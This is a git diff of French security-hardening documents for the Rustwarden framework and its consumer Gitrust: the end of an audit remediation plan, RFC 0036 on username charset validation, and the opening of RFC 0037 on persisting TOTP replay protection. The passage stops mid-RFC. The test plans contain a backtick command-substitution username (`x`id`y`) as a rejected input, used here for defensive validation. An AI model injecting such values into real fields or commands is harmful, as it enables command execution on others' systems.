268 +- **M-22 / M-23** — Docker : épingler images, Syft versionnée, healthcheck, retirer `DATABASE_URL` du `ENV` image.
269 +- **M-25** — `deployment/root@gitrust.ebii.fr` : `git rm` + ignore `deployment/*@*`.
270 +
271 +Apport global du lot : une instance déployée par un tiers n’écoute plus Postgres sur Internet, n’envoie plus de cookies en clair, n’installe plus de binaires non vérifiés.
272 +
273 +---
274 +
275 +## Lot 7 — Faibles / info (regroupés)
276 +
277 +Pas de ticket unitaire : trois paquets, après les lots 0–6.
278 +
279 +**F-AUTH (Gitrust + 2 RFC)**
280 +`must_change_password` ignoré en SSR (`register_protected_prefix("/dashboard")` etc., lié au plan [rustwarden-a3-protected-prefixes-migration.md](docs/plans/rustwarden-a3-protected-prefixes-migration.md)) · 2FA obligatoire vs API (jeton d’enrôlement) · `POST /logout` + CSRF · rotation refresh avec grâce · scopes PAT UI (déjà E-8) · `session.cycle_id()` · complexité admin bootstrap (**Rustwarden PR** `AdminConfig`) · reset password révoque PAT/SSH.
281 +
282 +**F-UI**
283 +CSRF manquant sur le form delete user (403 aujourd’hui — bug fonctionnel) · XSS `confirm()` rôle admin · couleur label hexdigits · `allowed_classes` Markdown · `Cache-Control: no-store` dépôts privés · secrets CI masqués dans l’API JSON · COOP/CORP (**Rustwarden RFC** en-têtes, ou override Gitrust).
284 +
285 +**F-OPS**
286 +`deploy_ebii.conf` gitignoré · `.dockerignore` `.env*` · `RUST_LOG=info` · journal d’audit chaîné ou export append-only · `gitleaks`/`trufflehog` + `cargo audit` bloquant Dagger.
287 +
288 +---
289 +
290 +## Catalogue upstream à ouvrir (ordre)
291 +
292 +Documenter chaque entrée dans `UPSTREAM_RUSTWARDEN.md` *avant* d’implémenter le workaround, avec date, constat, et lien RFC/PR.
293 +
294 +1. **PR Security** — TOTP : compter les tentatives (E-3).
295 +2. **PR Security** — `KNOWN_EXAMPLES` + placeholder Gitrust (C-7).
296 +3. **PR** — `spawn_blocking` backup codes (M-8) ; rate limiter email partagé (M-3) ; `PasswordResetService` appelle la complexité (M-2, si traité comme bug).
297 +4. **PR** — bumps `bcrypt` / `rustls` / `h2` (E-12 collatéral).
298 +5. **RFC** — Validation charset `username` dans `UserService` / `RegisterRequest` (M-1) — **politique de sécu + défaut**.
299 +6. **RFC** — CSP configurable / sans `unsafe-eval` (M-10).
300 +7. **RFC** — Changement d’email avec revalidation (M-5) — **schéma/flow**.
301 +8. **RFC** — `last_used_step` TOTP (M-7) — **migration**.
302 +9. **RFC (plus tard)** — `AuthService` respecte `validation_email_required` (E-4) ; limiteur login sur canal browser (E-2) ; en-têtes COOP.
303 +
304 +Gitrust n’attend **pas** ces RFC pour se protéger : les workarounds des lots 1–4 ferment les scénarios A–D.
305 +
306 +---
307 +
308 +## Ordre d’exécution recommandé
309 +
310 +1. Lot 0 (rotation + gitignore) — **avant toute démo**.
311 +2. Lot 1 (username + `sh -c` + hooks) — ferme Scénario A.
312 +3. Lot 2 C-3 puis E-7/E-8/IDOR — ferme Scénario B.
313 +4. Lot 3 XSS + CSP override — ferme Scénario C.
314 +5. Lot 4 E-1/E-2 + palliatifs TOTP — ferme Scénario D.
315 +6. Lots 5–6 en parallèle (russh, deploy).
316 +7. RFCs / PRs rustwarden + `update-project`.
317 +8. Lot 7.
318 +
319 +Vérification par lot : tests unitaires du scénario (username rejeté, `prepare_workspace` sans shell, `merge_pull` 403 sans `can_manage`, templates sans interpolation JS) ; `cargo clippy --workspace -- -D warnings` ; `cargo audit`.
A docs/rfcs/0036-username-charset-validation.md
+364 -0
@@ -0,0 +1,364 @@
1 +# RFC 0036 — Validation charset `username` (newtype `Username`)
2 +
3 +- **Auteur** : EBO (origine audit Gitrust / Rustwarden 1.0.1)
4 +- **Date** : 2026-09-18
5 +- **Statut** : Draft
6 +- **Apps consommatrices concernées** : Gitrust (newtype local à retirer après Accept + impl) ; tout consommateur qui appelle `UserService::create_user` / `update_profile` ou `POST /api/v1/auth/register`
7 +- **Crate cible** : `rustwarden-core`
8 +- **Origine** : constat M-1 du plan [`docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md`](../plans/2026-09-17-securisation-upstream-audit-gitrust.md) (Task 13)
9 +
10 +## Summary
11 +
12 +Introduire un newtype `Username` calqué sur [`TeamSlug`](../../crates/rustwarden-core/src/types/team_slug.rs) (`parse` → `Result<Self, AppError>`) et l’appliquer aux frontières d’écriture (`UserService::create_user`, `UserService::update_profile`, `RegisterRequest`) pour n’accepter que des identifiants GitHub-like (`^[a-z0-9-]{3,39}$`, pas de `--`, pas de `-` en tête/queue, pas de majuscule, liste réservée). Les comptes existants hors charset restent loggables : aucun `CHECK` SQL, aucun rewrite.
13 +
14 +## Motivation
15 +
16 +### Problème concret (audit M-1)
17 +
18 +Aujourd’hui un username n’est borné que par la **longueur** :
19 +
20 +- [`RegisterRequest`](../../crates/rustwarden-core/src/auth/handlers.rs) : `#[validate(length(min = 3, max = 64))]` — aucun charset.
21 +- [`UserService::create_user`](../../crates/rustwarden-core/src/services/user_service.rs) : insert SeaORM **sans** parse (la longueur n’est même pas re-vérifiée).
22 +- [`UserService::update_profile`](../../crates/rustwarden-core/src/services/user_service.rs) : uniquement `len() < 3` (et unicité). Pas de max, pas de charset.
23 +
24 +Conséquence : un client peut créer `Admin`, `` x`id`y ``, `alice--bob`, `-root`, ou un handle de 64 caractères. Ces valeurs fuient ensuite dans les URLs ActivityPub (`GET /users/{username}`), les logs, les e-mails et les chemins consommateurs (forge). PostgreSQL `UNIQUE` sur `users.username` est **sensible à la casse** : `Alice` et `alice` sont deux comptes.
25 +
26 +### Qui est impacté
27 +
28 +- **Gitrust** maintient déjà un newtype local `Username` pour se protéger ; tant que le framework n’en a pas, chaque consommateur réimplémente (ou n’implémente pas) des règles divergentes.
29 +- Tout appelant de `UserService::create_user` : register HTTP, admin UI (`rustwarden-ui`), `ensure_default_admin`, OAuth (`generate_unique_username`), `seed`, tests de services.
30 +- Les utilisateurs qui se **renomment** via `PUT /settings/profile` (`update_profile`).
31 +
32 +### Si on ne fait rien
33 +
34 +Gitrust conserve son newtype à vie (alternative C). Les autres apps restent ouvertes à l’injection de charset (backticks, collision de casse, usurpation de segments d’URL). Le framework documente encore `john_doe` (underscore) dans la rustdoc de `register` alors que Gitrust refuse déjà ce motif.
35 +
36 +### Urgence
37 +
38 +Pas un patch `1.0.1` : le plan Option A isole le charset en RFC pour ne pas casser les comptes existants ni livrer un rewrite. Bloquant pour retirer le newtype Gitrust après Accept + impl. Pas d’incident production unique ; durcissement de politique d’identité (critère RFC obligatoire : changement de politique de sécurité + nouvel item `pub`).
39 +
40 +## Non-goals
41 +
42 +- **Pas de migration SQL** qui réécrit `users.username` existants, ni de `CHECK` sur la colonne.
43 +- **Pas de patch 1.0.1** : ce document est Draft ; l’implémentation commence seulement après `Accepted`.
44 +- **Pas de charset e-mail** (RFC 0038 pour le changement d’e-mail / revalidation).
45 +- **Pas de fold silencieux** `to_ascii_lowercase` : `Alice` est rejeté, pas normalisé en `alice`.
46 +- **Pas de validation au login** (`AuthService::authenticate_user`, `get_user_by_username`) : un compte grandfathered doit encore s’authentifier.
47 +- **Pas de changement de signature** de `create_user` / `update_profile` (restent `String`) : le parse est interne.
48 +- **Pas de newtype sur les lectures** (`user::Model.username` reste `String`).
49 +- **Pas de réserve de `robots.txt`** : ce n’est pas un username (le point `.` est hors charset).
50 +
51 +## API proposée
52 +
53 +Nouveau fichier `crates/rustwarden-core/src/types/username.rs`, exporté comme `TeamSlug` (`types/mod.rs` + `prelude`).
54 +
55 +Règles de `Username::parse` (après `trim`, **sans** fold de casse) :
56 +
57 +| Règle | Accepté | Rejeté |
58 +|---|---|---|
59 +| Longueur | 3–39 | `ab`, 40+ caractères, vide / blancs seuls |
60 +| Charset | `[a-z0-9-]` | majuscule (`Alice`), `_`, `.`, espace, backtick |
61 +| Hyphen | `squad-42` | `-alice`, `alice-`, `alice--bob` |
62 +| Réservés | — | `team_slug::RESERVED` **plus** `me`, `explore` |
63 +
64 +`robots.txt` échoue sur le charset (`.`), pas sur la liste réservée.
65 +
66 +Liste réservée actuelle de [`team_slug::RESERVED`](../../crates/rustwarden-core/src/types/team_slug.rs) (constante de module, pas un associated const `TeamSlug::RESERVED`) :
67 +
68 +`admin`, `api`, `auth`, `health`, `login`, `logout`, `new`, `oauth`, `register`, `settings`, `signin`, `signout`, `signup`, `static`, `teams`.
69 +
70 +À l’implémentation : tester `team_slug::RESERVED.contains(&s)` **puis** `["me", "explore"]`, pour ne pas dupliquer le tableau (risque de drift). Voir Open questions pour le conflit `admin` / `ADMIN_USERNAME`.
71 +
72 +### Newtype
73 +
74 +```rust
75 +// crates/rustwarden-core/src/types/username.rs
76 +use crate::error::AppError;
77 +use crate::types::team_slug;
78 +
79 +/// Extra reserved logins on top of [`team_slug::RESERVED`].
80 +pub const EXTRA_RESERVED: &[&str] = &["me", "explore"];
81 +
82 +/// Validated local username. Construct only via [`Username::parse`].
83 +#[derive(Debug, Clone, Eq, PartialEq, Hash, serde::Serialize, serde::Deserialize)]
84 +#[serde(transparent)]
85 +pub struct Username(String);
86 +
87 +impl Username {
88 + /// Parse a raw string into a `Username`.
89 + ///
90 + /// Trims ASCII/Unicode whitespace, then enforces charset and reserved
91 + /// names. Uppercase is rejected (no silent fold) so `Alice` and `alice`
92 + /// cannot collide. Returns [`AppError::Validation`] (HTTP 400).
93 + pub fn parse(raw: &str) -> Result<Self, AppError> {
94 + let s = raw.trim();
95 + if s.len() < 3 || s.len() > 39 {
96 + return Err(AppError::Validation(
97 + "Username must be 3-39 characters".into(),
98 + ));
99 + }
100 + if s.starts_with('-') || s.ends_with('-') {
101 + return Err(AppError::Validation(
102 + "Username cannot start or end with '-'".into(),
103 + ));
104 + }
105 + if s.contains("--") {
106 + return Err(AppError::Validation(
107 + "Username cannot contain consecutive '-'".into(),
108 + ));
109 + }
110 + if !s
111 + .chars()
112 + .all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-')
113 + {
114 + return Err(AppError::Validation(
115 + "Username must only contain lowercase letters, digits, and '-'".into(),
116 + ));
117 + }
118 + if team_slug::RESERVED.contains(&s) || EXTRA_RESERVED.contains(&s) {
119 + return Err(AppError::Validation(format!("Username '{s}' is reserved")));
120 + }
121 + Ok(Self(s.to_string()))
122 + }
123 +
124 + /// Return the username as a string slice.
125 + pub fn as_str(&self) -> &str {
126 + &self.0
127 + }
128 +
129 + /// Consume the `Username` and return the inner `String`.
130 + pub fn into_inner(self) -> String {
131 + self.0
132 + }
133 +}
134 +
135 +impl std::fmt::Display for Username {
136 + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
137 + f.write_str(&self.0)
138 + }
139 +}
140 +```
141 +
142 +Les snippets ci-dessus sont **proposés** (Draft) : ils ne compilent pas tant que le type n’est pas livré. Ils reprennent le patron réel de `TeamSlug::parse` / `as_str` / `into_inner` (vérifié : 8 tests `types::team_slug` verts).
143 +
144 +### Frontières d’écriture (signatures actuelles, inchangées)
145 +
146 +Signatures **aujourd’hui** (à conserver) :
147 +
148 +```rust
149 +// crates/rustwarden-core/src/services/user_service.rs
150 +impl UserService {
151 + pub async fn create_user(
152 + db: &DatabaseConnection,
153 + username: String,
154 + email: String,
155 + password_hash: String,
156 + must_change_password: bool,
157 + ) -> Result<user::Model, AppError> { /* ... */ }
158 +
159 + pub async fn update_profile(
160 + db: &DatabaseConnection,
161 + user_id: Uuid,
162 + username: Option<String>,
163 + email: Option<String>,
164 + ) -> Result<user::Model, AppError> { /* ... */ }
165 +}
166 +
167 +// crates/rustwarden-core/src/auth/handlers.rs
168 +#[derive(Debug, Deserialize, Validate)]
169 +pub struct RegisterRequest {
170 + /// Desired login name (3–39 characters after this RFC; currently 3–64).
171 + #[validate(length(min = 3, max = 39))]
172 + pub username: String,
173 + #[validate(email)]
174 + pub email: String,
175 + #[validate(length(min = 8))]
176 + pub password: String,
177 +}
178 +```
179 +
180 +Comportement **après Accept** :
181 +
182 +1. `create_user` appelle `Username::parse(&username)?` **avant** l’`insert`. Le `String` persisté est `parse(...).into_inner()` (déjà trimé).
183 +2. `update_profile` appelle `Username::parse` **seulement** si `username` est `Some` **et** différent du username courant (rename). Un update e-mail seul (`username: None`) ne touche pas le charset — grandfathering. Si le client renvoie le même username hors charset (formulaire profil), ne pas échouer : ce n’est pas un rename.
184 +3. `register` garde `payload.validate()` (longueur) **et** `Username::parse(&payload.username)?` avant `create_user` (défense en profondeur ; `create_user` reste la porte unique même si un autre handler bypasse `RegisterRequest`).
185 +
186 +### Usage consommateur
187 +
188 +```rust
189 +use rustwarden_core::error::AppError;
190 +use rustwarden_core::types::Username;
191 +
192 +fn accept_login_name(raw: &str) -> Result<String, AppError> {
193 + Ok(Username::parse(raw)?.into_inner())
194 +}
195 +
196 +async fn create_via_service(
197 + db: &sea_orm::DatabaseConnection,
198 +) -> Result<(), AppError> {
199 + // create_user still takes String; invalid values now return AppError::Validation.
200 + let _user = rustwarden_core::services::user_service::UserService::create_user(
201 + db,
202 + "alice".into(),
203 + "alice@example.com".into(),
204 + hashed_password(),
205 + false,
206 + )
207 + .await?;
208 + Ok(())
209 +}
210 +
211 +fn hashed_password() -> String {
212 + unimplemented!("placeholder for the RFC usage sketch")
213 +}
214 +```
215 +
216 +`hashed_password()` est un placeholder de documentation : ne pas copier en production.
217 +
218 +### Call sites à adapter dans le **même** PR d’implémentation
219 +
220 +Sans changer leur API publique, ces chemins cassent si `create_user` parse et qu’ils produisent encore `_` / majuscules / `admin` :
221 +
222 +| Call site | Motif actuel | Action après Accept |
223 +|---|---|---|
224 +| [`OAuthService::generate_unique_username`](../../crates/rustwarden-core/src/services/oauth/service.rs) | filtre `alphanumeric \|\| '_'` , pas de lowercase | émettre un candidat qui passe `Username::parse` (hyphen, minuscule, ≤ 39) |
225 +| [`AdminConfig::validate`](../../crates/rustwarden-core/src/config/admin.rs) | 3–64, `[A-Za-z0-9_-]` | déléguer à `Username::parse` (voir Open questions `admin`) |
226 +| [`ensure_default_admin`](../../crates/rustwarden-core/src/services/default_admin_service.rs) | `create_user(config.username)` défaut `"admin"` | `"admin"` est dans `team_slug::RESERVED` |
227 +| rustdoc `register` / JWT examples | `john_doe` | remplacer par `john-doe` / `alice` |
228 +
229 +`seed.rs` (`richie`, `fonzie`, …) et les tests qui créent `alice` restent valides.
230 +
231 +## Analyse de compatibilité
232 +
233 +Checklist :
234 +
235 +- [ ] API existante non modifiée → **non-breaking** (patch/minor possible).
236 +- [x] API existante étendue avec défaut → **non-breaking** (minor) — *ajout* de `Username` + re-export prelude.
237 +- [x] API existante modifiée ou supprimée → **breaking comportemental** (payloads create/register/rename autrefois `200`/`201` → `400`). Signatures `create_user` / `update_profile` / `RegisterRequest.username: String` **inchangées**. SemVer processus §1 : un changement de comportement par défaut est breaking même si ça compile ; à trancher major vs minor Security (Open questions).
238 +- [x] Nouveau comportement par défaut → create / rename / register refusent charset hors GitHub-like. Login inchangé.
239 +- [ ] Changement de schéma DB → **non** : pas de `CHECK`, pas de rewrite. Grandfathering volontaire.
240 +- [x] Changement de format sérialisé → JSON register/profil : la **valeur** acceptée est plus stricte (`max` 64 → 39, plus d’underscore). Pas de nouveau champ.
241 +
242 +Consommateurs : Gitrust pourra supprimer son newtype dupliqué après bump. Les apps qui créent `John_Doe` devront adapter.
243 +
244 +## Alternatives considérées
245 +
246 +**Minimum 3 alternatives** avec analyse pros/cons, y compris "ne rien faire". Sans ça la RFC est incomplète : on ne peut pas juger une proposition sans son coût relatif.
247 +
248 +### Alternative A (recommandée) : newtype `Username` + `parse` aux frontières d’écriture
249 +
250 +**Pros** : une seule implémentation, impossible à contourner via `create_user` (admin UI, OAuth, seed, API). Patron déjà livré (`TeamSlug`). Gitrust retire sa copie. Trim OK, pas de fold → pas de collision `Alice`/`alice`. Grandfathering login préservé.
251 +
252 +**Cons** : breaking comportemental (underscore, majuscule, longueur > 39). `generate_unique_username` et le défaut `ADMIN_USERNAME=admin` doivent être traités dans le même PR. Charge de tests (batterie `TeamSlug` + reserved extra + backtick).
253 +
254 +### Alternative B : regex uniquement sur `RegisterRequest`
255 +
256 +**Pros** : diff minimal (`validator` + une regex). Pas de nouveau type public.
257 +
258 +**Cons** : `UserService::create_user` reste un trou (admin, OAuth, `ensure_default_admin`, apps qui n’utilisent pas `register`). Exactement le gap M-1. Deux couches (HTTP vs service) divergent. Gitrust ne peut pas supprimer son newtype.
259 +
260 +### Alternative C (ne rien faire / garder le workaround) : newtype Gitrust forever
261 +
262 +**Pros** : zéro coût, zéro risque upstream. Comptes exotiques restent créables pour les apps qui le veulent.
263 +
264 +**Cons** : dette et divergence entre consommateurs ; rustwarden-ui / register HTTP restent ouverts ; impersonation de casse et charset dangereux dans `/users/{username}`. Contredit l’audit M-1 et le processus « politique de sécurité → RFC puis implémentation partagée ».
265 +
266 +## Testing plan
267 +
268 +Tests unitaires obligatoires (copier la batterie [`team_slug.rs` tests](../../crates/rustwarden-core/src/types/team_slug.rs) vers ~L76, plus les règles username-only) :
269 +
270 +- Happy path : `Username::parse("alice")` et `"squad-42"` → `as_str()` identique ; trim `" alice "` → `"alice"`.
271 +- Erreur 1 — input invalide charset : `` Username::parse("x`id`y") ``, `"john_doe"`, `"alice.bob"`, `"Alice"` (majuscule, **pas** de fold).
272 +- Erreur 2 — contrainte violée forme : `""`, `"ab"` (< 3), 40 caractères, `"-alice"`, `"alice-"`, `"alice--bob"`.
273 +- Erreur 3 — reserved : chaque entrée de `team_slug::RESERVED`, plus `me` et `explore`. `robots.txt` est `Err` via charset, pas besoin d’être dans `EXTRA_RESERVED`.
274 +
275 +Tests d’intégration (service / DB) :
276 +
277 +- `create_user` refuse `` x`id`y `` avant insert (`AppError::Validation`) ; aucun row `users`.
278 +- `create_user("alice")` happy path (MockDatabase ou DB de test existante).
279 +- Grandfather : un user déjà en base avec username hors charset **peut encore** être chargé par `get_user_by_username` ; `update_profile(..., username: None, email: Some(...))` réussit sans toucher le username.
280 +- Rename : `update_profile` vers `Not-Valid` / `Admin` → `Validation` ; vers `bob` unique → OK.
281 +
282 +Tests de non-régression :
283 +
284 +- Code consommateur pré-RFC **compile** (signatures inchangées).
285 +- Login / JWT / refresh : pas d’appel à `Username::parse` sur le chemin lecture.
286 +
287 +Doctests :
288 +
289 +- Au moins un exemple copie/collable sur `Username::parse` (`alice` OK, `Alice` `is_err()`), exécuté comme doctest.
290 +
291 +Benchs : non (parse CPU-bound trivial, hors hot path auth bcrypt/JWT). Pas de seuil 10 %.
292 +
293 +Baseline vérifiée pour cette RFC Draft : `cargo test -p rustwarden-core types::team_slug --lib` → **8 passed**. Les exemples `Username::` ne sont **pas** exécutables avant l’implémentation.
294 +
295 +## Migration guide
296 +
297 +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge.
298 +
299 +```markdown
300 +### API changes
301 +
302 +**Before (v1.0.x)** :
303 +`UserService::create_user` / `RegisterRequest` acceptaient tout `String` de 3–64
304 +caractères (underscores, majuscules, backticks). `update_profile` ne vérifiait
305 +que `len() >= 3`.
306 +
307 +**After (vX.Y.Z)** :
308 +Nouveau type public `rustwarden_core::types::Username`.
309 +`create_user`, `update_profile` (rename) et `POST /api/v1/auth/register`
310 +appellent `Username::parse` : `^[a-z0-9-]{3,39}$`, pas de `--`, pas de `-`
311 +en tête/queue, pas de majuscule (pas de fold), noms réservés
312 +(`team_slug::RESERVED` + `me` + `explore`).
313 +Les comptes déjà en base hors charset restent valides au login.
314 +Pas de `CHECK` SQL.
315 +
316 +```rust
317 +// Optional explicit parse in a consumer handler
318 +let username = rustwarden_core::types::Username::parse(&raw)?.into_inner();
319 +UserService::create_user(db, username, email, hash, false).await?;
320 +```
321 +
322 +### Migration steps
323 +
324 +1. Bump `rustwarden-core` à la version qui livre RFC 0036.
325 +2. Auditer les usernames **créés par l’app** (fixtures, OAuth, CLI, seeds) :
326 + remplacer `_` par `-`, lowercaser, tronquer à 39, éviter `admin` / `me` / `explore`.
327 +3. Gitrust : supprimer le newtype local `Username` au profit de
328 + `rustwarden_core::types::Username` (`update-project` / bump path).
329 +4. Ne **pas** lancer de rewrite SQL des comptes existants.
330 +5. Vérifier `ADMIN_USERNAME` : la valeur par défaut `"admin"` est réservée
331 + (voir RFC 0036 Open questions) — définir un login non réservé sur les
332 + **nouvelles** installs.
333 +```
334 +
335 +## Open questions
336 +
337 +Liste des points en suspens. La RFC ne peut pas être acceptée tant qu’ils ne sont pas résolus :
338 +
339 +- [ ] **`ADMIN_USERNAME` défaut `"admin"` vs `team_slug::RESERVED`** : `ensure_default_admin` appelle `create_user("admin")`. Après parse, une install neuve échoue. Trancher : (1) garder `admin` réservé (anti-impersonation `/users/admin`, aligné GitHub) et exiger un `ADMIN_USERNAME` non réservé ; (2) retirer `admin` de la liste **username** tout en le gardant pour les slugs d’équipe ; (3) associated const distincte. Bloquant Accept.
340 +- [ ] **SemVer** : breaking comportemental sans changement de signature → major, ou minor `Security` documenté ? Le processus §1 penche major.
341 +- [ ] **`update_profile` same-value** : confirmer le skip parse quand `Some(current)` (formulaires qui POST le username courant) pour ne pas bloquer un update e-mail d’un compte grandfathered.
342 +- [ ] **OAuth `generate_unique_username`** : dans le PR d’implémentation (recommandé) ou RFC séparée ? Sans alignement, le signup OAuth casse dès que `create_user` parse (`_` aujourd’hui).
343 +- [ ] **Tracking GitHub** : ouvrir l’issue avant `Under Review`.
344 +
345 +## Tracking issue
346 +
347 +À ouvrir sur le dépôt Rustwarden (labels `area:auth` + `security` + `rfc`) en référençant l’audit M-1 et Gitrust comme premier consommateur. Pas d’URL tant que le Draft n’est pas soumis.
348 +
349 +---
350 +
351 +## Score d'évaluation (rempli par les reviewers)
352 +
353 +Notes **proposées par l’auteur** (Draft) ; les reviewers confirment ou ajustent. Seuil Accepted : ≥ 25/35.
354 +
355 +| Critère | Note (1-5) | Commentaire |
356 +|---|---|---|
357 +| Généralité | 5 | Tout consommateur de `UserService::create_user` en bénéficie ; Gitrust retire un newtype local. |
358 +| Stabilité API | 4 | Signatures inchangées, mais payloads autrefois 200/201 passent en 400 (underscore, casse, max 64→39). |
359 +| Performance | 5 | Parse CPU trivial hors bcrypt/JWT ; aucun I/O, aucun bench requis. |
360 +| Sécurité | 5 | Ferme M-1 (backticks, collision `Alice`/`alice`, usurpation de segments) sans casser le login grandfathered. |
361 +| Complexité d'implémentation | 4 | Un fichier newtype + 3 call sites + OAuth/admin à aligner ; pas d’`unsafe`, pas de migration DB. |
362 +| Charge de maintenance | 5 | Zéro nouvelle dépendance ; une liste réservée partagée avec `TeamSlug` (test de non-drift). |
363 +| Documentation | 4 | Rustdoc + doctest + CHANGELOG + ce RFC ; examples rustdoc `john_doe` à corriger à l’impl. |
364 +| **Total** | **32/35** | (≥ 25 pour Accepted) |
A docs/rfcs/0037-totp-last-used-step.md
+348 -0
@@ -0,0 +1,348 @@
1 +# RFC 0037 — Persister l’anti-rejeu TOTP (`last_used_step`)
2 +
3 +- **Auteur** : EBO (origine audit Gitrust / patch 1.0.1)
4 +- **Date** : 2026-09-18
5 +- **Statut** : Draft
6 +- **Apps consommatrices concernées** : Gitrust (déploiements multi-réplicas) ; tout consommateur de `rustwarden-core` qui appelle `TotpService::verify_code` / `verify_and_enable` (API `POST /api/v1/auth/2fa/verify`, UI login 2FA, apps headless)
7 +- **Crate cible** : `rustwarden-core`
8 +- **Origine** : constat M-7 du plan [`docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md`](../plans/2026-09-17-securisation-upstream-audit-gitrust.md) (Task 14). RFC **obligatoire** : changement de schéma DB ([`RUSTWARDEN_EVOLUTION_PROCESS.md` §2](../RUSTWARDEN_EVOLUTION_PROCESS.md#2-quand-une-rfc-est-obligatoire)).
9 +
10 +## Summary
11 +
12 +Persister en base le garde anti-rejeu TOTP livré in-process en 1.0.1 (`matching_totp_step` + cache `OnceLock`) via une colonne `user_totp.last_used_step`, mise à jour par un `UPDATE` conditionnel SeaORM, pour que deux réplicas n’acceptent plus le même code.
13 +
14 +## Motivation
15 +
16 +### Problème concret (audit M-7)
17 +
18 +`totp-rs` avec pas de 30 s et skew ±1 accepte le **même** code pendant ~90 s. Le patch 1.0.1 ferme le rejeu **dans un processus** :
19 +
20 +- [`matching_totp_step`](../../crates/rustwarden-core/src/services/totp_service.rs) (`pub(crate)`, ~L34–62) : `TOTP::check` (skew ±1, `constant_time_eq`), puis identification du pas qui a **matché** parmi `t-1`, `t`, `t+1` (`unix_time / 30`).
21 +- [`totp_replay_guard_accept`](../../crates/rustwarden-core/src/services/totp_service.rs) (~L67–84) : cache `OnceLock<Mutex<HashMap<(Uuid, u64), Instant>>>`, TTL 90 s. Même `(user_id, step)` → `false` (sémantique identique à un code invalide, pas d’oracle).
22 +- [`TotpService::verify_code`](../../crates/rustwarden-core/src/services/totp_service.rs) (~L249–268) : `matching_totp_step` puis le garde ; `Ok(false)` si rejeu.
23 +
24 +Ce cache **ne se partage pas** entre processus. Deux réplicas Gitrust (ou un rolling restart) acceptent le même code une fois chacun. `CHANGELOG.md` 1.0.1 le documente : *« Pas de migration `last_used_step` (RFC 0037) »*.
25 +
26 +### Quel step stocker
27 +
28 +Ne **pas** écrire `now / 30` en aveugle. Un code de la fenêtre précédente (`t-1`) serait accepté, `last_used_step` passerait à `t`, et un second code du pas courant pourrait encore passer — ou l’inverse. Il faut retenir le pas renvoyé par `matching_totp_step` (celui dont `totp.generate(step * 30) == code`).
29 +
30 +### Qui est impacté
31 +
32 +- Gitrust et tout déploiement `rustwarden-core` à **plus d’une** instance.
33 +- Les utilisateurs 2FA : un code OTP déjà consommé reste invalide partout, pas seulement sur le réplica qui l’a vu.
34 +- Les opérateurs : une migration SeaORM (`BIGINT NULL`) au bump qui livre cette RFC.
35 +
36 +### Si on ne fait rien
37 +
38 +Le garde 1.0.1 reste correct en instance unique. En multi-réplicas, M-7 reste ouvert. Gitrust devrait réimplémenter un store partagé (Redis, etc.) en divergence du framework.
39 +
40 +### Urgence
41 +
42 +Pas un patch 1.0.1 (migration). Bloquant pour les déploiements HA dès que 1.0.1 est en prod. Pas d’incident unique documenté ; durcissement authn (critère RFC : schéma DB).
43 +
44 +## Non-goals
45 +
46 +- **Pas de relais Evilginx live** : un MITM interactif présente le code **une seule fois** ; ni le garde in-process ni `last_used_step` ne l’arrêtent.
47 +- **Pas de changement d’algorithme / digits / période / skew** : SHA1, 6 digits, 30 s, skew 1 (`TOTP::new` actuel).
48 +- **Pas de backup codes** : déjà one-shot (`verify_backup_code` retire le hash consommé).
49 +- **Pas de Redis / store externe** obligatoire : PostgreSQL (déjà la source de vérité `user_totp`) suffit.
50 +- **Pas d’oracle** : rejeu et code faux renvoient tous les deux `Ok(false)` / `TotpFailed` selon le call site actuel — pas de 409 distinct.
51 +- **Pas de `CHECK` SQL** sur la monotonie : la monotonie est garantie par le `WHERE` de l’`UPDATE`.
52 +- **Pas de SQL brut applicatif** : SeaORM uniquement (`update_many` + filtres). La migration utilise `SchemaManager::alter_table`.
53 +
54 +## API proposée
55 +
56 +Aucun nouvel item `pub` obligatoire. Comportement de `TotpService::verify_code` (et `verify_and_enable`) enrichi. Schéma + modèle.
57 +
58 +### Schéma
59 +
60 +Migration `crates/rustwarden-core/src/migrations/m20260918_000010_totp_last_used_step.rs`, enregistrée dans [`migrations/mod.rs`](../../crates/rustwarden-core/src/migrations/mod.rs) (`pub mod` + `core_migrations()`). Prochain numéro après `m20260510_000009_fediverse_interop`.
61 +
62 +```rust
63 +// crates/rustwarden-core/src/migrations/m20260918_000010_totp_last_used_step.rs
64 +use sea_orm_migration::prelude::*;
65 +
66 +#[derive(DeriveMigrationName)]
67 +pub struct Migration;
68 +
69 +#[async_trait::async_trait]
70 +impl MigrationTrait for Migration {
71 + async fn up(&self, manager: &SchemaManager) -> Result<(), DbErr> {
72 + manager
73 + .alter_table(
74 + Table::alter()
75 + .table(UserTotp::Table)
76 + .add_column(
77 + ColumnDef::new(UserTotp::LastUsedStep)
78 + .big_integer()
79 + .null(),
80 + )
81 + .to_owned(),
82 + )
83 + .await
84 + }
85 +
86 + async fn down(&self, manager: &SchemaManager) -> Result<(), DbErr> {
87 + manager
88 + .alter_table(
89 + Table::alter()
90 + .table(UserTotp::Table)
91 + .drop_column(UserTotp::LastUsedStep)
92 + .to_owned(),
93 + )
94 + .await
95 + }
96 +}
97 +
98 +#[derive(Iden)]
99 +enum UserTotp {
100 + Table,
101 + LastUsedStep,
102 +}
103 +```
104 +
105 +Équivalent SQL (documentation ; **non** exécuté par l’app) :
106 +
107 +```sql
108 +ALTER TABLE user_totp ADD COLUMN last_used_step BIGINT NULL;
109 +```
110 +
111 +Réversible : `DROP COLUMN last_used_step`. Les lignes existantes restent `NULL` → premier code post-migration toujours accepté.
112 +
113 +### Modèle
114 +
115 +[`user_totp::Model`](../../crates/rustwarden-core/src/models/user_totp.rs) aujourd’hui : `id`, `user_id`, `secret_encrypted`, `enabled`, `backup_codes_encrypted`, `backup_codes_remaining`, `enabled_at`, `created_at`, `updated_at`. **Après Accept** :
116 +
117 +```rust
118 +/// Last TOTP time-step (`unix_epoch / 30`) that was successfully consumed.
119 +/// `None` until the first accepted code after this column exists.
120 +pub last_used_step: Option<i64>,
121 +```
122 +
123 +Type `i64` : SeaORM mappe PostgreSQL `BIGINT`. `matching_totp_step` renvoie `u64` ; conversion `i64::try_from(step)` — un pas Unix/30 tient dans `i64` pour des siècles. Échec de conversion → traiter comme code invalide (`Ok(false)`), pas de panic.
124 +
125 +`setup` (`TotpService` insert `enabled=false`) : `last_used_step: NotSet` (NULL).
126 +
127 +### Concurrence (source de vérité)
128 +
